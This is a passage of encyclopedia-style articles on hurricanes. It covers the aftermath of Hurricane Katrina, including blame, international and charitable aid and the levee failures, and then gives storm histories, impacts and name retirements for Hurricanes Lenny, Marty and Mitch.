          Criticism from politicians, activists, pundits and journalists of all stripes was directed at the local and state and governments headed by Mayor Ray Nagin of New Orleans and Louisiana Governor Kathleen Blanco. Nagin and Blanco were criticized for failing to implement New Orleans' evacuation plan and for ordering residents to a shelter of last resort without any provisions for food, water, security, or sanitary conditions. Perhaps the most important criticism of Nagin was that he delayed his emergency evacuation order until 19hours before landfall, which led to hundreds of deaths of people who (by that time) could not find any way out of the city.


          The destruction wrought by Hurricane Katrina raised other, more general public policy issues about emergency management, environmental policy, poverty, and unemployment. The discussion of both the immediate response and of the broader public policy issues may have affected elections and legislation enacted at various levels of government. The storm's devastation also prompted a Congressional investigation, which found that FEMA and the Red Cross "did not have a logistics capacity sophisticated enough to fully support the massive number of Gulf coast victims." Additionally, it placed responsibility for the disaster on all three levels of government.


          An ABC News Poll conducted on September 2, 2005, showed slightly more blame was being directed at state and local governments (75%) than at the Federal government (67%), with 44% blaming President Bush's leadership directly. A later CNN/ USATODAY/ Gallup poll showed that respondents disagreed widely on who was to blame for the problems in the city following the hurricane  13% said Bush, 18% said federal agencies, 25% blamed state or local officials and 38% said no one was to blame.


          


          International response
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          Over seventy countries pledged monetary donations or other assistance. Notably, Cuba and Venezuela (both hostile to US government themselves) were the first countries to offer assistance, pledging over $1 million, several mobile hospitals, water treatment plants, canned food, bottled water, heating oil, 1,100 doctors and 26.4 metric tons of medicine, though this aid was rejected by the U.S. government. Kuwait made the largest single pledge, $500 million; other large donations were made by Qatar ($100 million), South Korea ($30 million), Australia ($10 million), India, China (both $5 million), Pakistan ($1.5 million), and Bangladesh ($1 million).


          Israel sent an IDF delegation to New Orleans to transport aid equipment including 80tons of food, disposable diapers, beds, blankets, generators and additional equipment which were donated from different governmental institutions, civilian institutions and the IDF. The Bush Administration announced in mid-September that it did not need Israeli divers and physicians to come to the United States for search and rescue missions, but a small team landed in New Orleans on September 10 to give assistance to operations already under way. The team administered first aid to survivors, rescued abandoned pets and discovered hurricane victims.


          Countries like Sri Lanka, which was still recovering from the Indian Ocean Tsunami, also offered to help. Countries including Canada, Mexico, Singapore, and Germany sent supplies, relief personnel, troops, ships and water pumps to aid in the disaster recovery. Belgium sent in a team of relief personnel. Britain's donation of 350,000 emergency meals did not reach victims because of laws regarding mad cow disease. Russia's initial offer of two jets was declined by the U.S. State Department but accepted later. The French offer was also declined and requested later.


          Despite receiving aid from around the world, there was also a heavy dose of criticism from around the world including accusations of racism that were revealed at the international level across global press. Quotations from the UK Mirror such as "Many things about the United States are wonderful, but it has a vile underbelly which is usually kept well out of sight. Now in New Orleans it has been exposed to the world." were common.


          


          Non-governmental organization response


          The American Red Cross, Southern Baptist Convention, Salvation Army, Oxfam, Common Ground Collective, Emergency Communities, Habitat for Humanity, Service International, "A River of Hope" and many other charitable organizations provided help to the victims of the storm. They were not allowed into New Orleans proper by the National Guard for several days after the storm because of safety concerns. These organizations raised $4.25 billion (USD) in donations by the public, with the Red Cross receiving over half of the donations.


          Volunteers from amateur radio's emergency service wing, the Amateur Radio Emergency Service, provided communications in areas where the communications infrastructure had been damaged or totally destroyed, relaying everything from 911 traffic to messages home. In Hancock County, Mississippi, ham radio operators provided the only communications into or out of the area, and even served as 911 dispatchers.


          Many corporations also contributed to relief efforts. On September 13, 2005, it was reported that corporate donations to the relief effort were $409million, and were expected to exceed $1 billion.


          During and after the Hurricanes Katrina, Wilma and Rita, the American Red Cross had opened 1,470 different shelters across and registered 3.8 million overnight stays. A total of 244,000 Red Cross workers (95% of which were non-paid volunteers) were utilized throughout these three hurricanes. In addition, 346,980 comfort kits (such as toothpaste, soap, washcloths and toys for children) and 205,360 clean up kits (containing brooms, mops and bleach) were distributed. For mass care, the organization served 68 million snacks and meals to victims of the disasters and to rescue workers. The Red Cross also had its Disaster Health services meet 596,810 contacts, and Disaster Mental Health services met 826,590 contacts. Red Cross emergency financial assistance was provided to 1.4 million families. Hurricane Katrina was the first natural disaster in the United States that the American Red Cross utilized its "Safe and Well" family location website.


          In the year following Katrina's strike on the Gulf Coast, The Salvation Army allocated donations of more than $365million to serve more than 1.7million people in nearly every state. The organization's immediate response to Hurricane Katrina included more than 5.7 million hot meals, 8.3 million sandwiches, snacks & drinks. Its SATERN network of amateur radio operators picked up where modern communications left off to help locate more than 25,000survivors. Salvation Army pastoral care counselors were on hand to comfort the emotional and spiritual needs of 277,000 individuals. As part of the overall effort, Salvation Army officers, employees and volunteers contributed more than 900,000hours of service.


          In the aftermath of Hurricane Katrina in Southeastern Louisiana and Southern Mississippi, the areas were in hardship for skilled workers. Immigrants (legal and illegal) from Mexico and Honduras flocked into these regions by the thousands and performed the bulk of clean up and rebuilding peoples properties. American small business contractors hired these immigrants and taught them what they needed to know and the area was cleaned up and rebuilt at fair prices compared to local price gaugers. These immigrants worked 16 hours a day for little pay while the contractors made a huge profit. Immigrants from Mexico and Honduras are cursed by local contractors but heavily appreciated by the average homeowner who was devastated in these States.


          


          Analysis of New Orleans levee failures
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          A June 2007 report released by the American Society of Civil Engineers states that the failures of the federally built levees in New Orleans' were found to be primarily the result of system design flaws. The US Army Corps of Engineers who by federal mandate is responsible for the conception, design and construction of the region's flood-control system failed to pay sufficient attention to public safety.


          According to new modeling and field observations by a team from Louisiana State University, the Mississippi River Gulf Outlet (MRGO), a 200-meter (660ft) wide canal designed to provide a shortcut from New Orleans to the Gulf of Mexico, helped provide a funnel for the storm surge, making it 20% higher and 100%-200% faster as it crashed into the city. St. Bernard Parish, one of the more devastated areas, lies just south of the MRGO. The Army Corps of Engineers disputes this causality and maintains Katrina would have overwhelmed the levees with or without the contributing effect of the MRGO.


          On April 5, 2006, months after independent investigators had demonstrated that levee failures were not caused by natural forces beyond intended design strength, Lieutenant General Carl Strock testified before the United States Senate Subcommittee on Energy and Water that "We have now concluded we had problems with the design of the structure." He also testified that the U.S. Army Corps of Engineers did not know of this mechanism of failure prior to August 29, 2005. The claim of ignorance is refuted, however, by the National Science Foundation investigators hired by the Army Corps of Engineers, who point to a 1986 study by the Corps itself that such separations were possible in the I-wall design.


          Various conspiracy theories began floating around that the levees were in fact deliberately demolished. A number of New Orleans residents described hearing "explosions" coming from the Industrial Canal levee in the Lower 9th Ward before the floodwaters rushed in. A National Guard worker claims he was sworn to secrecy upon finding explosives residue at the site of the break.


          Many of the levees have been reconstructed since the time of Katrina. In reconstructing them, precautions were taken to bring the levees up to modern building code standards and to ensure their safety. For example, in every situation possible, the Corps of Engineers replaced I-walls with T-walls. T-walls have a horizontal concrete base that protects against soil erosion underneath the floodwalls.


          However, there are funding battles over the remaining levee improvements. In February 2008, the Bush administration requested that the state of Louisiana pay about $1.5 billion of an estimated $7.2 billion for Army Corps of Engineers levee work, a proposal which angered many Louisiana leaders.


          On May 2, 2008, Louisiana Gov. Bobby Jindal used a speech to The National Press Club to request that President Bush free up money to complete work on Louisiana's levees. Bush promised to include the levee funding in his 2009 budget, but rejected the idea of including the funding in a war bill, which would pass sooner.


          Retirement


          Because of the large loss of life and property along the Gulf Coast, the name Katrina was officially retired on April 6, 2006 by the World Meteorological Organization at the request of the U.S. government. It was replaced by Katia on List III of the Atlantic hurricane naming lists, which will next be used in the 2011 Atlantic hurricane season.
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              	Category 4hurricane( SSHS)
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                Lenny south of Saint Croix at its peak intensity
                

              
            


            
              	Formed

              	November 13, 1999
            


            
              	Dissipated

              	November 23, 1999
            


            
              	Highest

              winds

              	
                
                  
                    	155 mph (250 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	933 mbar ( hPa; 27.56 inHg)
            


            
              	Fatalities

              	17 direct
            


            
              	Damage

              	$330million (1999USD)

              $427million (2008USD)

              (US territories only)
            


            
              	Areas

              affected

              	Colombia, Puerto Rico, Leeward Islands
            


            
              	Part of the

              1999 Atlantic hurricane season
            

          


          Hurricane Lenny was the 12th tropical storm, eighth hurricane, and fifth major hurricane in the 1999 Atlantic hurricane season. Lenny was the strongest Atlantic hurricane ever recorded in November, and quite unusual in that it moved west-to-east across the Caribbean. Lenny was the first hurricane to affect the Virgin Islands from the southwest since Hurricane Klaus in 1984.


          Lenny brought more heavy rains to areas in the Leeward Islands that had been affected by Hurricane Jose just one month earlier, and brought more damage to areas struck by Hurricane Georges the previous year. Lenny also brought damaging surf to western shores of the entire Eastern Caribbean island chain, resulting in significant damage on a number of the islands. Many residents had to evacuate their homes as huge waves threatened - and in a number of cases (such as in St. Lucia) - destroyed many buildings. Most development is on the usually calmer western shores of East Caribbean territories.


          


          Storm history
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              Storm path
            

          


          A broad area of low pressure formed in the southwestern Caribbean Sea on November 8. It drifted northward, slowly organizing with warm water temperatures and little upper-level shear. On November 13, the disturbance organized enough to be classified as Tropical Depression Sixteen, 300nautical miles (560km) west-southwest of Kingston, Jamaica. Conditions continued to favour development, and the depression became Tropical Storm Lenny on the 14th.


          Lenny headed east-southeastward, its motion in part due to the southern portion of a deep-layer trough over the western Atlantic. On November 15, Lenny intensified to hurricane strength while south of Jamaica, and reached Category 2 strength later that day. However, the small inner core was disrupted by environmental changes, and Lenny weakened back to a poorly-organized Category 1.


          Its inner core re-established itself on November 16, and Lenny rapidly intensified to a 155mph (249km/h) Category 4 hurricane over the northeastern Caribbean just before making landfall at Saint Croix on the 17th. A ridge to the east and a ridge to the north forced the hurricane to drift over the Windward Islands on the 17th through the 19th. Upwelling steadily weakened Lenny as it turned east-southeastward over Saint Martin, Anguilla, Saint-Barthlemy, and Antigua on November 18 and November 19. As it left the islands, upper level shear and cooler waters weakened Lenny, first to a tropical storm on November 19, then a tropical depression in the open Atlantic on the 21st. It turned to the northeast, and dissipated on November 23 in the open Atlantic.


          


          An unusual storm
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              Lenny as a 135 mph hurricane
            

          


          Hurricane Lenny was unusual in several respects. It traversed the Caribbean from west to east, the reverse of typical hurricane paths. It was the first time such a trajectory had been seen in 113 years of hurricane observations in the Atlantic/Caribbean basin. The last hurricane to strike the western portion of the Lesser Antilles was Hurricane Klaus from the 1984 season.


          Lenny's 155 mph (250 km/h) peak, just under Category 5 intensity on the Saffir-Simpson Hurricane Scale, makes it the strongest November hurricane on record in the Atlantic basin.


          Lenny was also the fifth Category 4 hurricane of the 1999 Atlantic hurricane season, breaking the record for the number of storms of that strength in one season. This record was tied in the 2005 season.


          


          Preparations


          Lenny was forecast to move through the Leeward Islands as a Category 3 hurricane, surprising islanders when it strengthened into a strong Category 4 hurricane. Hurricane warnings were issued for much of the Leeward Islands on November 16, about a day prior to the storm passing through. In preparation for landfall, a FEMA team was deployed to Puerto Rico and the Virgin Islands, bringing 6,000 rolls of roofing-quality plastic sheeting, 112 generators, and 90,000 gallons of water. Medical teams were sent as well.


          


          Impact


          
            
              Death Toll by Area
            

            
              	State/country

              	Deaths
            


            
              	Colombia

              	2
            


            
              	Saint Martin

              	3
            


            
              	Guadeloupe

              	5
            


            
              	Martinique

              	1
            


            
              	Offshore

              	6
            


            
              	Total

              	17
            

          


          In all, 17 deaths were attributed to Hurricane Lenny. Its Category 4 winds caused widespread destruction across the northeastern Caribbean, amounting to $330 million (1999 USD, $387 million in 2006 USD) in damage to U.S. territories.


          


          Colombia


          Early in the hurricane's life, Lenny caused large waves and swells to the Guajira Peninsula in Colombia. Two sailors were killed when their yacht was lost in the southern Caribbean Sea. On the coast, Lenny flooded 1,200 houses, leaving 540 people homeless. Moderate crop damage was seen as well.


          


          Puerto Rico
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              Rainfall totals from Lenny
            

          


          Puerto Rico, where Lenny was originally forecast to make landfall, was spared a direct hit. However, Lenny's outer rainbands caused heavy rainfall amounting to 14.64inches (372mm) in Jayuya, causing mudslides in the southeastern portion of the island. More than 4,700 were in shelters, 80,000 lacked electricity, and 100,000 were without safe drinking water.


          


          Leeward Islands
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              Property Damage in the Virgin Islands
            

          


          Hurricane Lenny first made landfall on Saint Croix in the Virgin Islands. The unprotected southwest side of the island suffered hours of heavy rain accumulating to 8inches (200mm), 155mph (249km/h) winds, intense waves, and a 15-foot (4.6m) storm surge. Strong winds and the rainfall impacted the agricultural sector, while many boats on the north side of the island either sank or washed ashore. Though damage was heavy, it was not extreme, and no deaths were reported.


          Lenny later hit Saint Martin, Anguilla, Saint-Barthlemy, Saint Kitts & Nevis and Antigua while drifting through the Leeward Islands. Torrential rainfall was reported in these islands, with a maximum of 27.56inches (700mm) on St. Martin. The flooding led to mudslides, contributing to the destruction of numerous houses. Extensive storm surge, strong winds, and 12-foot (3.7m) waves caused significant beach erosion on their west coasts, the side rarely affected by a landfalling hurricane. The industries most affected by the hurricane were agriculture, fishing, and tourism.
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              Damage to the Frederiksted Pier in St. Croix
            

          


          Due to its large circulation, Lenny also affected Guadeloupe, Dominica, St. Lucia, St. Vincent, the Grenadines, Barbuda, Martinique, and Montserrat. 20-foot (6.1m) waves pounded the islands, resulting in damaged buildings. Heavy rain and strong winds contributed to 6 deaths among these islands. In Dominica, for example, hotels along the island's west coast experienced major damage, with 35% loss of the banana crop and 40% of coastal roads washed out. 95% of the crops in Barbuda were destroyed, while 65% of the island was flooded.


          


          Aftermath


          After the Four Seasons resort on Nevis was flooded and heavily damaged, the buildings were closed down for just over a year while a $50 million (1999 USD, $59 million 2006 USD) reconstruction was carried out. A reopening occurred on November 24, 2000, just over a year after Lenny's wrath. United States President Bill Clinton declared a state of emergency for the U.S. Virgin Islands in the aftermath of the storm, which made the island's residents eligible for federal financial aid.


          


          Retirement


          The name Lenny was retired in the spring of 2000 and will never again be used for an Atlantic hurricane. The name was replaced with Lee in the 2005 season.
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                Hurricane Marty over the Gulf of California on September 22, 2003
                

              
            


            
              	Formed

              	September 18, 2003
            


            
              	Dissipated

              	September 22, 2003
            


            
              	Highest

              winds

              	
                
                  
                    	100 mph (155 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	973 mbar ( hPa; 28.74 inHg)
            


            
              	Fatalities

              	12 direct
            


            
              	Damage

              	$50.5million (2003USD)

              $59million (2008USD)
            


            
              	Areas

              affected

              	Baja California Peninsula, Sonora, Sinaloa, Arizona
            


            
              	Part of the

              2003 Pacific hurricane season
            

          


          Hurricane Marty was the deadliest tropical cyclone of the 2003 Pacific hurricane season. Forming on September 18, it became the 13th tropical storm and fourth hurricane of the year. The storm moved generally northwestward and steadily intensified despite only a marginally favorable environment for development, and became a Category 2 hurricane before making two landfalls on the Baja California peninsula and mainland Mexico.


          The hurricane was responsible for significant flooding and storm surges that caused $50.5 million (2003 USD) in damage, mostly on the peninsula of Baja California, and resulted in the deaths of 12 people. Marty affected many of the same areas that had been affected by Hurricane Ignacio a month earlier.


          


          Storm history
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              Storm path
            

          


          A tropical wave moved into the Pacific Ocean from Central America on September 10. Convection along the wave became better organized as it moved westward, and a tropical depression developed on September 18. The depression moved generally west-northwestward before strengthening into Tropical Storm Marty on September 19. The storm entrained dry air into its circulation as it curved toward the northwest, disrupting the storm's convective structure and inhibiting further intensification for the next two days. Eventually, Marty fought off the dry air and intensified, reaching hurricane strength on September 21.


          Marty began moving north-northwestward in response to a high pressure ridge to the west, and continued to strengthen, reaching a peak intensity of 100 mph (175 km/h) early on September 22. Marty then moved northward at an increased speed before making landfall 10mi (15km) northeast of Cabo San Lucas in Baja California Sur later that day. After making landfall, Marty turned back to the north-northwest, moving parallel to the eastern coast of the peninsula, and weakening to a tropical storm on September 23. Marty then stalled over the Gulf of California after encountering a high pressure system over the U.S. state of Nevada, and further weakened to a tropical depression before making a second landfall near Puerto Peasco, Sonora, on the 24th. Marty became a remnant low pressure area on the 25th, and moved erratically over the northern Gulf of California for the next two days before drifting southwestward and dissipating over the northern Baja California Peninsula on the September 26.


          


          Preparations


          Fearing a repeat of the damage left by Hurricane Ignacio a month earlier, many residents stocked up on supplies, secured their homes and evacuated to emergency shelters. The government of Mexico issued hurricane warnings for areas of the eastern coast of the Baja California Peninsula and the west coast of the mainland on September 21. Tropical storm warnings were issued for the Mexican coastline to the Colorado River on September 23, but were discontinued later that day. Forecasters also predicted that the hurricane might cause 4  6 feet (1.2  1.8 m) of storm surge, 8 inches (20.3 cm) of rain, serious flash flooding, and mudslides. Many schools and tourist destinations were used as emergency shelters and most seaports and airports were closed down. Across the Gulf of California, in the state of Sonora, authorities of the municipality of Empalme monitored the status of the Punta de Agua dam, located 20mi (30km) upstream of the municipal seat, which threatened to overtop and flood the city. As a result, 300 residents were evacuated to shelters on higher ground.


          


          Impact
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              Hurricane Marty Storm Total Rainfall
            

          


          


          Baja California Peninsula


          About 8 to 11inches (200  280mm) of rain fell in areas of the Baja California Peninsula, with the largest 24-hour rainfall total occurring at Todos Santos, Baja California Sur, where 7.77in (197.5mm) of rain fell. Numerous ships offshore reported tropical storm and hurricane force winds, and an automated weather station in Cabo San Lucas, Baja California Sur reported sustained winds of 85 mph (140 km/h) with gusts to 115 mph (185 km/h). Santa Rosala, Baja California Sur, reported 7.8 inches (198 mm) of rain.


          Five people drowned after their cars were swept away by floodwaters while trying to cross a flooded stream. The floods also damaged 4,000-6,000 homes and buildings and significantly disrupted water and communications for an extended period of time. The hurricane's storm surge damaged many boats and yachts in ports along the peninsula's coast, most of them beyond repair. Minor beach erosion was reported at San Felipe, Baja California. As a result, the Baja California Sur municipalities of La Paz, Los Cabos, Loreto, Comond, and Muleg were declared national disaster areas.


          Filming for the 2004 film Troy was interrupted when this hurricane moved through Baja California.


          


          Mainland Mexico


          On the mainland, the largest daily rainfall total occurred on Sebampo, Sonora, which recorded 6.73in (171.0mm) of rain. Five fishermen drowned when their fishing boat sank in the Gulf of California, off the coast of Sonora. Also in that state, the University of Sonora suspended operations in its Navojoa campus. Two more people died when a tree fell on a car in Sinaloa. Heavy rainfall caused moderate to severe flash flooding in Sonora and Sinaloa, although damage was not as severe or as extensive as on the Baja California peninsula. Los Mochis, Sinaloa, reported sustained winds of 45 mph (70 km/h) on September 22.


          


          Southwestern United States


          The outer bands of Marty brought locally heavy rains to extreme southwestern Arizona, but there were no reports of flooding. The highest rain total was 2.25 inches (57 mm) at Organ Pipe Cactus National Monument in Arizona. Rainfall extended eastward into Texas, where a storm peak of 3.09inches (78mm) of rain occurred in Tankersly.


          Because the damage caused by Marty was not extreme, the name of the storm was not retired from the rotating Pacific hurricane name lists, and will reused in the 2009 season.
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                Hurricane Mitch at peak intensity
                

              
            


            
              	Formed

              	October 22, 1998
            


            
              	Dissipated

              	November 5, 1998
            


            
              	Highest

              winds

              	
                
                  
                    	180 mph (285 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	905 mbar ( hPa; 26.74 inHg)
            


            
              	Fatalities

              	11,00018,000 direct
            


            
              	Damage

              	$6.2billion (1998USD)

              $8billion (2008USD)
            


            
              	Areas

              affected

              	Central America (particularly Honduras and Nicaragua), Yucatn Peninsula, South Florida
            


            
              	Part of the

              1998 Atlantic hurricane season
            

          


          Hurricane Mitch was one of the deadliest and most powerful hurricanes on record in the Atlantic basin, with maximum sustained winds of 180 mph (290 km/h). The storm was the thirteenth tropical storm, ninth hurricane, and third major hurricane of the 1998 Atlantic hurricane season. At the time, Hurricane Mitch was the strongest Atlantic hurricane ever observed in the month of October, though it has since been surpassed by Hurricane Wilma of the 2005 season. The hurricane also tied for the fourth most intense Atlantic hurricane in recorded history, but it has since dropped to seventh.


          Mitch formed in the western Caribbean Sea on October 22, and after drifting through extremely favorable conditions, it rapidly strengthened to peak at Category 5 status, the highest possible rating on the Saffir-Simpson Hurricane Scale. After drifting southwestward and weakening, the hurricane hit Honduras as a minimal hurricane. It drifted through Central America, reformed in the Bay of Campeche, and ultimately struck Florida as a strong tropical storm.


          Due to its slow motion from October 29 to November 3, Hurricane Mitch dropped historic amounts of rainfall in Honduras and Nicaragua, with unofficial reports of up to 75 inches (1900mm). Deaths due to catastrophic flooding made it the second deadliest Atlantic hurricane in history; nearly 11,000 people were killed with over 8,000 left missing by the end of 1998. The flooding caused extreme damage, estimated at over $5 billion (1998 USD, $6 billion 2006 USD).


          


          Storm history
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              Storm path
            

          


          The origin of Hurricane Mitch can be traced to a tropical wave that moved off the coast of Africa on October 10. It moved westward across the shear-ridden Atlantic Ocean, and remained disorganized until entering the Caribbean Sea on October 18. Upon entering the western Caribbean Sea, convection steadily increased, and on October 22, the wave organized into Tropical Depression Thirteen while 415miles (670km) south of Kingston, Jamaica. Under weak steering currents, it drifted westward and intensified into a tropical storm on October 23 while 260miles (420km) east-southeast of San Andrs Island.


          Initially, intensification was limited due to an upper-level low causing vertical wind shear over Tropical Storm Mitch. As the storm executed a small loop to the north, the shear weakened, allowing the system to strengthen. Mitch attained hurricane status on October 24 while 295miles (475km) south of Jamaica, and with warm water temperatures and well-defined outflow, the hurricane rapidly strengthened. During a 24-hour period from October 24 to the 25th, the central pressure dropped 52 mbar, and on October 26, Mitch reached peak intensity with 180mph (290km/h) winds and a pressure of 905mbar, one of the lowest pressures ever recorded in an Atlantic hurricane.


          


          
            
              Most intense Atlantic hurricanes

              Intensity is measured solely by central pressure
            

            
              	Rank

              	Hurricane

              	Season

              	Min. pressure
            


            
              	1

              	Wilma

              	2005

              	882 mbar ( hPa)
            


            
              	2

              	Gilbert

              	1988

              	888 mbar (hPa)
            


            
              	3

              	"Labor Day"

              	1935

              	892 mbar (hPa)
            


            
              	4

              	Rita

              	2005

              	895 mbar (hPa)
            


            
              	5

              	Allen

              	1980

              	899 mbar (hPa)
            


            
              	6

              	Katrina

              	2005

              	902 mbar (hPa)
            


            
              	7

              	Camille

              	1969

              	905 mbar (hPa)
            


            
              	Mitch

              	1998

              	905 mbar (hPa)
            


            
              	Dean

              	2007

              	905 mbar (hPa)
            


            
              	10

              	Ivan

              	2004

              	910 mbar (hPa)
            


            
              	Source: U.S. Department of Commerce
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              Mitch near peak intensity
            

          


          A ridge of high pressure forced the hurricane westward, resulting in land interaction with Honduras. This weakened Mitch slightly, and after passing over the Swan Islands on October 27, the hurricane steadily weakened. The ridge of high pressure built further, forcing the hurricane to drift southward along the Honduran coastline. Mitch made landfall 80miles (130km) east of La Ceiba in Honduras on October 29 as a Category 1 hurricane on the Saffir-Simpson hurricane scale with 80mph (130km/h) winds. It continued to weaken over land, drifting westward through Central America, and its low-level circulation dissipated on November 1 near the Guatemala-Mexico border.


          The remnant area of low pressure drifted northward into the Bay of Campeche, and reorganized on November 3 into a tropical storm while 150miles (240km) southwest of Mrida, Yucatn. Mitch moved to the northeast, making landfall on the Yucatn Peninsula near Campeche on November 4. It weakened to a tropical depression over land, but restrengthened to a tropical storm over the southeastern Gulf of Mexico. As Mitch accelerated to the northeast in association with a cold front, it gradually intensified, and made landfall near Naples, Florida on November 5 as a tropical storm with 65mph (100km/h) winds. Mitch became extratropical later that day, but it continued to persist for several days before losing its identity north of Great Britain on November 9.
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              Mitch as a disorganized tropical storm in the Gulf of Mexico
            

          


          


          Preparations


          While stalling over the western Caribbean Sea, Mitch's future was very uncertain, with the National Hurricane Centre advising citizens throughout the area to closely monitor the hurricane. Just 2 days before landfall, there remained a possibility for the hurricane to spare Honduras and hit Guatemala or Belize. Because of the uncertainty, government officials issued hurricane warnings from the Honduras/Nicaragua border to Belize from 23 days before landfall.


          Due to the threat, the government of Honduras evacuated some of the 45,000 citizens on the Bay Islands and prepared all air and naval resources. The government of Belize issued a red alert and asked for citizens on offshore islands to leave for the mainland. Because the hurricane threatened to strike near Belize City as a Category 4 hurricane, much of the city was evacuated in fear of a repeat of Hurricane Hattie 37 years earlier. Guatemala issued a red alert as well, recommending boats to stay in port, telling people to prepare or seek shelter, and warning of potential overflown rivers. By the time Mitch made landfall, numerous people were evacuated along the western Caribbean coastline, including 100,000 in Honduras, 10,000 in Guatemala, and 20,000 in the Mexican state of Quintana Roo.


          


          Impact


          
            
              Impact by area
            

            
              	Region

              	Direct deaths

              	Damage
            


            
              	Panama

              	3

              	Unknown
            


            
              	Costa Rica

              	7

              	$92 million
            


            
              	Jamaica

              	3

              	Unknown
            


            
              	Nicaragua

              	3,800

              	$1 billion
            


            
              	Honduras

              	7,000

              	$3.8 billion
            


            
              	Guatemala

              	268

              	$748 million
            


            
              	El Salvador

              	240

              	$400 million
            


            
              	Belize

              	11

              	Unknown
            


            
              	Mexico

              	9

              	Unknown
            


            
              	United States

              	2

              	$40 million
            


            
              	Offshore

              	31

              	N/A
            


            
              	Total

              	~11,000

              	$6 billion
            

          


          Hurricane Mitch was the deadliest Atlantic hurricane since the Great Hurricane of 1780, displacing the Galveston Hurricane of 1900 as the second-deadliest on record. Nearly eleven thousand people were confirmed dead, and almost as many reported missing. Deaths were mostly from flooding and mudslides in Central America, where the slow-moving hurricane and then tropical storm dropped nearly 3 feet (900 mm) of rain. The flooding and mudslides damaged or destroyed tens of thousands of homes, with total damage amounting to over $5 billion (1998 USD, $6 billion 2006 USD), most of which was in Honduras and Nicaragua. Prior to Mitch, the deadliest hurricane in Central America was Hurricane Fifi in 1974, which killed an estimated 8,00010,000.


          


          Honduras
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              Damage in Tegucigalpa
            

          


          Prior to hitting Honduras, Hurricane Mitch sent waves of up to 22 feet (6.7m) in height to the coast. Upon making landfall, it diminished in intensity, but still caused a strong storm surge and waves of 12 feet (3.7m) in height. While the storm was drifting over the country, it dropped extreme rainfall peaking at nearly 36 inches (91cm) in Choluteca, where over 18 inches (46cm) of rain fell in one day. The rainfall in Choluteca was equivalent to the average rainfall total in 212 days. The Choluteca River at this point flooded to six times its normal width. The widespread flooding was partially caused by Honduras' slash and burn agriculture, so the forests could not absorb any moisture. In addition, there were estimates of as high as 75 inches (190cm) in mountainous regions. The rainfall collected in rivers, causing extensive river flooding across the country. The deepest average depth was 12.5 meters on the Ula River near Chinda, while the average widest length was 359 meters on the Ro Lean near Arizona. The rainfall also caused widespread mudslides across the mountainous country.
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              Mudslide in San Juancito
            

          


          Mitch caused such massive and widespread damage that Honduran President Carlos Roberto Flores claimed it destroyed fifty years of progress in the country. An estimated 7080% of the transportation infrastructure of the entire country was wiped out, including nearly all bridges and secondary roads; the damage was so great that existing maps were rendered obsolete. About 25 small villages were reported to have been entirely destroyed by the landslides caused by the storm. Damages to the transportation and communication network totaled to $529 million (1998 USD, $619 million 2006 USD). Across the country, the storm destroyed 33,000 houses and damaged 50,000 others. In addition, it downed numerous trees, leaving mountainsides bare and more vulnerable to mudslides.
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              Overview of Tegucigalpa
            

          


          Mitch's rainfall resulted in severe crop losses in the country, affecting more than 300 square miles (800 km) or 29% of the country's arable land. The NCDC estimated the flooding destroyed at least 70% of the country's crops. Food crops were severely impacted, including destruction of 58% of the corn output, 24% of sorghum, 14% of rice, and 6% of the bean crop. Several important export crops faced similar losses, including 85% of banana, 60% of sugar cane, 29% of melons, 28% of African palms, and 18% of coffee. Crop damage alone was estimated anywhere from $900 million (1998 USD, $1 billion 2006 USD) to $1.7 billion (1998 USD, $2 billion 2006 USD). Large amounts of animal losses occurred as well, including the death of 50,000 cattle and the loss of 60% of the poultry population. Shrimp production, which had become an important export, faced nearly complete destruction. Total animal losses amounted to $300 million (1998 USD, $351 million 2006 USD).


          The extreme flooding and mudslides killed over 6,500, with several thousand missing. Many of the unidentified were buried in mass graves, resulting in great uncertainty over the final death toll. Over 20% of the country's population, possibly as many as 1.5 million people, were left homeless. The severe crop shortages left many villages on the brink of starvation, while lack of sanitation led to outbreaks of malaria, dengue fever, and cholera.


          On the offshore island of Guanaja, the hurricane spent three days stalling near the island. Strong winds destroyed one third of the island's houses and left most citizens without power for months. The island's two fish packing plants were damaged while two main resorts were closed. Guanaja received little help from the national government, being a small (9 miles long, 14km) island which has traditionally had an independent and self-reliant streak. Instead, international aid arrived from former Guanaja citizens, enough that citizens from the mainland came to the island to acquire supplies.


          


          Nicaragua
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              Flooding in Lake Managua after the hurricane
            

          


          Though Mitch never entered Nicaragua, its large circulation caused extensive rainfall, with estimates of over 50 inches (127cm). In some places, as much as 25 inches (64cm) of rain fell on coastal areas. The flank of the Casita Volcano failed and turned into a lahar from excessive rain. The resulting mudslide ultimately covered an area 10 miles (16km) long and 5 miles (8km) wide.


          Two million people in Nicaragua were directly affected by the hurricane. Across the country, Mitch's heavy rains damaged 17,600 houses and destroyed 23,900, displacing 368,300 of the population. 340 schools and 90 health centers were severely damaged or destroyed. Sewage systems and the electricity subsector were severely damaged, and, combined with property, damage totaled to $300 million (1998 USD, $351 million 2006 USD).
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          Transportation was greatly affected by the hurricane, as well. The rainfall left 70% of the roads unusable and destroyed or greatly damaged 71 bridges. Over 1,700 miles (2700km) of highways or access roads needed replacement subsequent to the storm, especially in the northern part of the country and along portions of the Pan-American Highway. Total transportation damage amounted to $300 million (1998 USD, $351 million 2006 USD). Agricultural losses were significant, including the deaths of 50,000 animals, mostly bovines. Crops and fisheries were affected greatly as well, and, combined with agricultural losses, damage totaled to $185 million (1998 USD, $217 million 2006 USD).


          The situation was further compounded by a total of 75,000 live land mines  left over from the Contra insurgency of the 1980s  that were calculated to have been uprooted and relocated by the floodwaters.


          In all, Hurricane Mitch caused at least 3,800 fatalities in Nicaragua, of which more than 2,000 were killed in the towns of El Provenir and Rolando Rodriguez from the landslide at the Casitas volcano. The mudslide buried at least four villages completely in several feet of mud. Throughout the entire country, the hurricane left between 500,000 and 800,000 homeless. In all, damage in Nicaragua is estimated at around $1 billion (1998 USD, $1.17 billion 2006 USD).


          


          Caribbean Sea


          Mitch was also responsible for the loss of the Fantome windjammer sailing ship owned by Windjammer Barefoot Cruises; all 31 of the crew perished. The story was recorded in the book The Ship and The Storm by Jim Carrier. The ship, which was sailing in the centre of the hurricane, experienced up to 50 foot (15m) waves and over 100mph (160km/h) winds, causing the Fantome to sink off the coast of Honduras.


          On the south coast of Cuba, the hurricane caused waves of up to 13 feet (4m) high and winds gusts peaking at 42mph (67km/h), causing numerous tourists and workers on the Isle of Youth and Cayo Largo del Sur to leave for safer grounds.


